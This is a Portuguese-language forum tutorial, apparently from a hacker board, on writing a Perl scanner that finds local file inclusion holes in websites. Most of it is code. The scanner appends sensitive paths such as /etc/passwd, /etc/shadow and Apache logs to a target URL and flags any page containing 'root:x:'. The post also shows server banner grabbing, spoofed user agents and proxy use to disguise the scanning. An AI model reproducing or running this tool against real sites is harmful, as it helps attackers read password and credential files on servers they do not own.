vou tentar ensinar como criar um scanner em perl usando: LWP::UserAgent e HTTP::Request
vou me basear em 2 dos meus scans de rfi e de lfi
http://www.freewebs.com/dr4k3/Sources/rfi_scan2.txt // http://www.freewebs.com/dr4k3/Sources/lfi_scan.txt
Como em toda open-source #!/usr/bin/perl seria o caminho do interpretador e logo após os módulos que o programa ira usar...Código:#!/usr/bin/perl [...] use LWP::UserAgent; use HTTP::Request;
bom cada scanner tem seu método de busca e cada vulnerabilidade tem o seu método de explorar com no rfi é necessário uma shell para a verificação e no lfi não por este motivo peguei estes 2 scans...
primeiro precisamos obter as vulnerabilidades vou disponibilizar um database onde guardo algumas vuls ele ta meio bagunçado mais ajuda
após obter as vuls podemos começar a codar o scanner:
esta é uma parte fundamental, é ai que o user do scan vai por o link para a verificação também é usado uma regex pra colocar http:// antes do link, esse método também pode ser feito de outros jeitos comoCódigo:print ">Insert Link[...]\n"; print '>';chomp($link = <STDIN>); if($link !~ /http:\/\//) { $link = "http://$link"; }
ai é um exemplo dos esquemas usados em exploit onde a pessoa teria que colocar o link na linha de comando ex:Código:$link = $ARGV[0]; if($link !~ /http:\/\//) { $link = "http://$link"; }
perl scan.pl http://www.google.com
e também pode ser obtido link a partir de uma busca com scanner mais avançados onde ele busca os sites em rfi por exemplo salva até o = e ai sim testa os sites um de cada vez, também da para inserir um lista com os sites, bom existem varias maneiras vem de cada um qual usar...
este é um complemento básico para o scan ele retorna com as infos do servidorCódigo:print "\n>press [enter] to check the version of httpd[...]\n"; $httpd =<STDIN>; $host = $link; $useragent = LWP::UserAgent->new; $resp = $useragent->head($host); print $resp->headers_as_string;
esse complemento não é necessário no scan porem deixa o scan mais completo e pode ser útil para foot print, engenharia reversa etc...Código:#site = www.google.com Cache-Control: private, max-age=0 Connection: Close Date: Thu, 29 Jan 2009 15:38:51 GMT Server: gws Content-Length: 0 Content-Type: text/html; charset=ISO-8859-1 Expires: -1 Client-Date: Thu, 29 Jan 2009 15:38:53 GMT Client-Peer: 209.85.193.99:80 Client-Response-Num: 1 Set-Cookie: PREF=ID=e4fe4e1d4110bc09:TM=1233243531:LM=1233243531:S=RQyjxOxg-i58wK2B; expires=Sat, 29-Jan-2011 15:38:51 GMT; path=/; domain=.google.com.br
ai começa o scanner, as vuls são armazenadas em uma array e serão usadas na verificação pelo scanCódigo:print "\n>press [enter] to check the vulnerability in lfi[...]\n"; $start =<STDIN>; # scanning 314 paths @vuls = ('/etc/passwd', '/etc/shadow', '/etc/group', '/etc/security/group', '/etc/security/passwd', '/etc/security/user', '/etc/security/environ', '/etc/security/limits', '/usr/lib/security/mkuser.default', [...]
também existem scanners como o st4lk3r que guarda as vuls em uma arquivo separado em um txt por exemplo e depois abre esse arquivo e joga tudo pra array
outros usam banco de dados sql outros pedem a vul pro user enfim cada coder sabe qual método usar e em qual scanner vai ficar melhor...Código:open (sql, vuls.txt) or die "error [$!]"; @vul = <sql>; close(sql);
o foreach transforma a array em varias escalares e faz com que o lwp se conecte a todas elas uma após a outra.Código:print ">start scaning[...]\n"; foreach $scan(@vuls){ $url = $link.$scan; $request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new(); $response = $useragent->request($request); if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;} else { $msg = "Not Found";} print "$scan..........[$msg]\n"; }
iniciada conexão por lwp com a $url que seria o link + vulCódigo:$url = $link.$scan; $request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new();
como da para perceber este scanner é muito básico scanners mais avançados como o st4lk3r por exemplo usam serviços do lwp mais avançados como proxy e simuladores:
não vou explicar as variáveis porque o code é complexo so pegando a source mesmo e vendo para intender...Código:if($os eq "-bsd"){ $ua->agent('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.1.12) Gecko/20080301 Firefox/2.0.0.12');} if($os eq "-win"){ $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Firefox/2.0.0.12');} if($os eq "-lnx"){ $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/20020823 Firefox/2.0.0.12');} if($proxy!=0) {$ua->env_proxy(); $ua->proxy("http", "http://$proxy/"); } $response = $ua->request($request);
ai seria o que informaria se esta vulnerável ou não usando a seguinte lógica:Código:if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;} else { $msg = "Not Found";} print "$scan..........[$msg]\n"; }
se a pagina carregar normalmente e tiver a string root:x: na pagina a $msg sera "Vulnerable" caso contrario a $msg sera "Not Found"
mais nos so armazenamos o resultado na variável precisamos mostrar pro user que é a função do print. Com o print o scan retornaria isso
/etc/passwd..........[Not Found]
/etc/shadow..........[Not Found]
/etc/group..........[Not Found]
/etc/security/group..........[Not Found]
/etc/security/passwd..........[Not Found]
/etc/security/user..........[Not Found]
/etc/security/environ..........[Vulnerable]
/etc/security/limits..........[Not Found]
/usr/lib/security/mkuser.default..........[Not Found]
/apache/logs/access.log..........[Not Found]
[...]
existem outros scanners que não mostram isso apenas mostra se esta vulnerável ou não, outros abrem um txt com a vul, bom como já disse isso vem de cada um e cada coder sabe o que usar e quando usar.
esse scanner é muito básico mais já da para ter uma ideia boa do funcionamento de um scanner por teste de url e claro que você pode complementar o scanner com proxy, googler, banco de dados etc... No cpan você também encontra outro módulos como WWW:Mechanize que são rápidos e muito eficientes e também pode encontrar mais coisas sobre lwp.
vul = vulnerabilidade/vulneravel
txt = arquivo.txt
coder = programador
greetz: c00kies creW / botecounix.com.br / c0d3rs.tk /irc


Responder com Citação

